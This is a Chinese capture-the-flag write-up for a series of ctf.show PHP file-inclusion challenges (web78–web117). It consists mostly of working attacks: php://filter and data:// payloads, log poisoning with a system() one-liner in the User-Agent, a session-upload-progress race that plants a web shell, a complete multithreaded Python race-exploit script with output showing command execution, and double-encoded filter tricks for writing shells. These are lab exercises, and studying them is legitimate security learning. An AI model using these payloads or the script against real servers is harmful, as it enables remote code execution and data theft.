web78
题目描述
文件包含系列开始
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; include($file);}else{ highlight_file(__FILE__);}输入 flag.php 无返回,可能被拦,换成 ?file=php://filter/convert.base64-encode/resource=flag.php
web79
题目描述
文件包含系列开始
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file);}else{ highlight_file(__FILE__);}语法:str_replace(要找的内容, 替换成什么, 原字符串),但是 str_replace() 不会递归检查。
这道题我们创建一个临时文件,在临时文件中我们构造 system()
data://text/plain;base64,PD9waHAgc3lzdGVtICgiY2F0IGZsYWcucGhwIik7
web80
题目描述
文件包含系列开始
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file);}else{ highlight_file(__FILE__);}可以看见过滤了 data 那么文件包含常用的点是日志包含,因为当被包含的文件当中出现代码 include 会去执行,那么日志文件为什么能利用?因为服务器会把你的请求信息写进日志,比如 User-Agent、URL、Referer。可以先把一句 PHP 代码塞进 User-Agent,让它进入 /var/log/nginx/access.log,这叫“日志投毒”。
先在 burp 构造 User-Agent: <?=system($_GET[x]);?> 发送后构造
?file=/var/log/nginx/access.log&x=ls
之后我们 cat 即可
web81
题目描述
做完这道题,你就已经经历的九九八十一难,是不是感觉很快? 没关系,后面还是九百一十九难,加油吧,少年!
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file);}else{ highlight_file(__FILE__);}先在 burp 构造 User-Agent: <?=system($_GET[x]);?> 发送后构造
?file=/var/log/nginx/access.log&x=ls


web82
题目描述
文件包含
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file);}else{ highlight_file(__FILE__);}可以看见这回过滤了 .,这回利用 session 文件包含,利用 php 将 session 存成文件这个特性,我们之后通过 include 包含执行文件,我们先构造post
POST / HTTP/1.1Host: 1046c9e2-99fb-4ffd-a8a6-c36fd375a650.challenge.ctf.showCookie: PHPSESSID=f0ristyContent-Type: multipart/form-data; boundary=abcConnection: closeContent-Length: 800300--abcContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"<?php file_put_contents('/tmp/a12345','<?php system($_GET[1]);?>');echo 'OK';?>--abcContent-Disposition: form-data; name="file"; filename="a.txt"Content-Type: text/plainaaaaaa...--abc--get
GET /?file=/tmp/sess_f0risty&r=%s HTTP/1.1Host: 1046c9e2-99fb-4ffd-a8a6-c36fd375a650.challenge.ctf.showCookie: PHPSESSID=f0ristyAccept-Encoding: identityConnection: close我们的 turbo 脚本
def queueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False ) for i in range(10000): engine.queue(target.req, str(i))def handleResponse(req, interesting): body = req.response.decode('latin1', 'ignore') if 'OK' in body or 'CODX' in body: table.add(req)我们在 turbo 中看见有几个返回了 ok ,那我们竞态竞争利用成功,紧接着发包
GET /?file=/tmp/a12345&1=ls HTTP/1.1Host: 1046c9e2-99fb-4ffd-a8a6-c36fd375a650.challenge.ctf.showAccept-Encoding: identityConnection: close
访问即可
web83
题目描述
文件包含
<?phpsession_unset();session_destroy();if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file);}else{ highlight_file(__FILE__);}
session_unset();清空 session变量,比如原来
$_SESSION['name'] = 'admin';$_SESSION['role'] = 'root';执行后
$_SESSION = [];session_destroy();销毁 session
这里我们还是要用到条件竞争
post
POST / HTTP/1.1Host: d4e058a1-ea0b-420b-90cc-e6228300fee0.challenge.ctf.showAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: PHPSESSID=f0ristyContent-Type: multipart/form-data; boundary=abcContent-Length: 406055--abcContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"<?php file_put_contents('/tmp/a12345','<?php system($_GET[1]);?>');echo 'OK';?>--abcContent-Disposition: form-data; name="file"; filename="a.txt"Content-Type: text/plainaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa极多的a--abc--
upload_progress_OK|a:5:{s:10:"start_time";i:1781629623;s:14:"content_length";i:406055;s:15:"bytes_processed";i:5276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"a.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1781629623;s:15:"bytes_processed";i:5276;}}}可以看见小马成功


web84
题目描述
文件包含漏洞
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); system("rm -rf /tmp/*"); include($file);}else{ highlight_file(__FILE__);}这里我们看见会删除 /tmp 下的文件,这样我们把小马写到不会删的位置,构造
POST / HTTP/1.1Host: 3f6a8768-ccb2-420c-9197-6194e9268c7c.challenge.ctf.showAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: PHPSESSID=f0ristyContent-Type: multipart/form-data; boundary=abcContent-Length: 384885--abcContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"<?php file_put_contents('/var/tmp/a12345','<?php system($_GET[1]);?>');echo 'OK';?>--abcContent-Disposition: form-data; name="file"; filename="a.txt"Content-Type: text/plainaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa极多的a--abc--

web85
题目描述
继续包含
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); if(file_exists($file)){ $content = file_get_contents($file); if(strpos($content, "<")>0){ die("error"); } include($file); } }else{ highlight_file(__FILE__);}这里 strpos 查找的是 < 出现的位置,如果在第一个字符后,就 die 。
这个题我们三个并发,第一个是恶意 session 第二个是干净 session 第三个是 include ,三个并发 burp 有点慢,写了个 python 脚本
import concurrent.futuresimport randomimport socketimport stringimport threadingimport timeimport requestsHOST = "a1837509-1e5c-41be-96f3-cc6859a801c9.challenge.ctf.show"BASE = "http://" + HOST + "/"SID = "f0risty"SHELL = "/var/tmp/a12345"UPLOAD_SIZE = 850000THREAD_CLEAN = 16THREAD_EVIL = 16THREAD_INCLUDE = 60RUN_SECONDS = 300evil_payload = ( "<?php " f"file_put_contents('{SHELL}','<?php system($_GET[1]);?>');" "echo 'OK';" "?>")clean_payload = "aaaaaa"stop = threading.Event()hit = threading.Event()def slow_upload(progress_value): while not stop.is_set(): boundary = "----Codex" + "".join(random.choice(string.ascii_letters) for _ in range(12)) pre = ( f"--{boundary}\r\n" 'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n' f"{progress_value}\r\n" f"--{boundary}\r\n" 'Content-Disposition: form-data; name="file"; filename="a.txt"\r\n' "Content-Type: text/plain\r\n\r\n" ).encode("latin1") post = f"\r\n--{boundary}--\r\n".encode("latin1") body_len = len(pre) + UPLOAD_SIZE + len(post) header = ( "POST / HTTP/1.1\r\n" f"Host: {HOST}\r\n" f"Cookie: PHPSESSID={SID}\r\n" f"Content-Type: multipart/form-data; boundary={boundary}\r\n" f"Content-Length: {body_len}\r\n" "Connection: close\r\n\r\n" ).encode("latin1") s = None try: s = socket.create_connection((HOST, 80), timeout=6) s.settimeout(6) s.sendall(header + pre) sent = 0 chunk = b"a" * 8192 while sent < UPLOAD_SIZE and not stop.is_set(): n = min(len(chunk), UPLOAD_SIZE - sent) s.sendall(chunk[:n]) sent += n time.sleep(0.0015) if not stop.is_set(): s.sendall(post) try: s.recv(128) except Exception: pass except Exception: pass finally: try: if s: s.close() except Exception: passdef include_race(): sess = requests.Session() sess.headers.update({ "Connection": "close", "Accept-Encoding": "identity", }) while not stop.is_set(): try: r = sess.get( BASE, params={ "file": f"/tmp/sess_{SID}", "r": str(random.random()), }, cookies={"PHPSESSID": SID}, timeout=4, ) if "OK" in r.text: print("[+] RACE HIT") print(r.text[:1000]) hit.set() stop.set() return except Exception: passdef run_cmd(cmd): r = requests.get( BASE, params={ "file": SHELL, "1": cmd, }, timeout=10, headers={"Accept-Encoding": "identity"}, ) print(f"\n--- {cmd} ---") print(r.text[:5000]) return r.textdef main(): print("[*] target:", HOST) print("[*] session:", SID) print("[*] shell:", SHELL) print("[*] racing...") with concurrent.futures.ThreadPoolExecutor( max_workers=THREAD_CLEAN + THREAD_EVIL + THREAD_INCLUDE ) as ex: for _ in range(THREAD_CLEAN): ex.submit(slow_upload, clean_payload) for _ in range(THREAD_EVIL): ex.submit(slow_upload, evil_payload) for _ in range(THREAD_INCLUDE): ex.submit(include_race) deadline = time.time() + RUN_SECONDS while time.time() < deadline and not hit.is_set(): time.sleep(1) stop.set() time.sleep(2) if not hit.is_set(): print("[-] no hit, try increasing RUN_SECONDS or thread counts") return run_cmd("id") out = run_cmd("cat /var/www/html/fl0g.php") if "ctfshow{" not in out: run_cmd('find / -maxdepth 3 -type f -name "*flag*" 2>/dev/null')if __name__ == "__main__": main()[*] target: a1837509-1e5c-41be-96f3-cc6859a801c9.challenge.ctf.show[*] session: f0risty[*] shell: /var/tmp/a12345[*] racing...[+] RACE HITupload_progress_OK|a:5:{s:10:"start_time";i:1781633895;s:14:"content_length";i:850325;s:15:"bytes_processed";i:5298;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"a.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1781633895;s:15:"bytes_processed";i:5298;}}}--- id ---uid=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)--- cat /var/www/html/fl0g.php ---<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-16 11:24:37# @Last Modified by: h1xa# @Last Modified time: 2020-09-16 11:25:00# @email: h1xa@ctfer.com# @link: https://ctfer.com*/$flag="ctfshow{9e2d8391-740a-4ceb-8efa-7f4da1574b1b}";web86
题目描述
继续秀
<?phpdefine('还要秀?', dirname(__FILE__));set_include_path(还要秀?);if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__);}这里的话相当于是 set_include_path('/var/www/html'); ,那搜索相对路径被限制在了/var/www/html,这一题没有限制 < 不用三个竞争,也是跟之前一样


web87
题目描述
继续秀
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__);}乍一看好像无从下手,但实际上这里是有漏洞点的,这道题我们想要给文件中写入后门函数是直接可以写的,因为没有对 content 过滤,但是前面拼接了 <?php die> ,因此,当我们想要执行我们写入的文件内容时,就先触发 die 我们无法执行,所以我们必须把 <? 过滤掉,我们知道,base64 能处理的符号是 A-Za-z0-9+/= 那么对于 <?> 这类符号,就能直接扔掉,所以前面的 die 就变成了普通文本,但我们要处理这个协议必须用到 php://filter 这个协议,但是 php 被过滤了怎么办?那么真正的漏洞点出现了,在于 urldecode($file) 这个函数, 正常情况下 php 会对 url 编码进行解码,而此处又解了一次,那么我们可以完全对我们的 file() 进行双重编码,从而不会触发过滤
POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1Host: 7d0a9b77-4410-4d36-b83c-65f4097c36f2.challenge.ctf.showAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Length: 46Content-Type: application/x-www-form-urlencodedcontent=aaPD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg==

web88
题目描述
继续秀
<?phpif(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file);}else{ highlight_file(__FILE__);}这个是有过滤的
data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgZmwwZy5waHAiKTsgPz4
web116
题目描述
misc+lfi
打开是个视频,最后提取出一帧照片

直接搜 flag.php 就行
web117
题目描述
<?phphighlight_file(__FILE__);error_reporting(0);function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); }}$file=$_GET['file'];$contents=$_POST['contents'];filter($file);file_put_contents($file, "<?php die();?>".$contents);我们用两两字节交换
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pystsme$(G_TE1[)]?; >


读者回信
正在翻开留言页...